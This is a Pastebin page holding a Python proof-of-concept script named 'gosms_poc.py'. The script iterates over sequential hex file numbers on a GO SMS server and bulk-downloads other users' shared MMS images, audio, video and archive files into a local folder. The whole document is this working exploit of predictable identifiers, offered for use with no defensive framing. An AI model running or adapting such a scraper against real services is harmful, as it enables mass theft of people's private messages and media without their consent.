Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Filename: gosms_poc.py
- # Author: @sol_sanctum
- # Date: 01/25/2019
- import urllib
- import requests
- import wget
- import os
- from multiprocessing import *
- from array import *
- # Delimiters for all GoSMS files
- # Change 'end' to whatever is the latest valid filenumber
- start = 0x010000
- end = 0xA6E000 # ~10.9mil records
- # To check valid file numbers, try http://gs.3g.cn/D/<hexval>/W in a browser
- # Example: http://gs.3g.cn/D/A6E000/W
- # If it returns a proper value, it's valid; otherwise, it's not yet a valid filenumber
- base_url = "http://gs.3g.cn/D/"
- choice = ""
- def download(index):
- request = requests.get(base_url + format(index, 'X') + "/w")
- url = request.url.split('u=')[-1]
- url = urllib.unquote(url).decode('utf8')
- url = url.split('&')[-4]
- filename = url.split('/')[-1]
- if choice == 1:
- if "gosharefile_image" in url:
- print ("{}: {}").format(index, url)
- wget.download(url, "./downloaded/" + str(index) + "_" + filename)
- print ("\n")
- if choice == 2:
- if "gosharefile_audio" in url:
- print ("{}: {}").format(index, url)
- wget.download(url, "./downloaded/" + str(index) + "_" + filename)
- print ("\n")
- if choice == 3:
- if "gosharefile_video" in url:
- print ("{}: {}").format(index, url)
- wget.download(url, "./downloaded/" + str(index) + "_" + filename)
- print ("\n")
- if choice == 4:
- if ("gosms" in filename) or ("zip" in filename):
- print ("{}: {}").format(index, url)
- wget.download(url, "./downloaded/" + str(index) + "_" + filename)
- print ("\n")
- if choice == 5:
- print ("{}: {}").format(index, url)
- wget.download(url, "./downloaded/" + str(index) + "_" + filename)
- print ("\n")
- return;
- def main():
- titleScreen()
- choices()
- global start
- global end
- for i in xrange(start, end + 1):
- p = Process(target=download(i))
- p.start()
- return;
- def titleScreen():
- print "-----------------------------------------------------"
- print "-- GO SMS MMS Dumper --"
- print "-- Twitter: @sol_sanctum --"
- print "-----------------------------------------------------\n"
- def choices():
- print "--- Available Filetypes ---"
- print "1. Images = jpg, png, gif, zip, 'autocompress', gosharefile_image"
- print "2. Audio = amr, 'govoice', gosharefile_audio"
- print "3. Video = mp4, gosharefile_video"
- print "4. Other = 'gosms', zip"
- print "5. All Files (sequential, slow)\n"
- choose()
- return;
- def choose():
- invalid = True
- while (invalid):
- try:
- global choice
- choice = input("What type of files do you want to download? ")
- if (choice < 6) and (choice > 0):
- invalid = False
- except:
- print "Error!!"
- if (choice == 2) or (choice == 3) or (choice == 4):
- print "Finding files, this may take a while..."
- return;
- if __name__ == "__main__":
- if not os.path.exists("./downloaded/"):
- os.makedirs("./downloaded/")
- main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement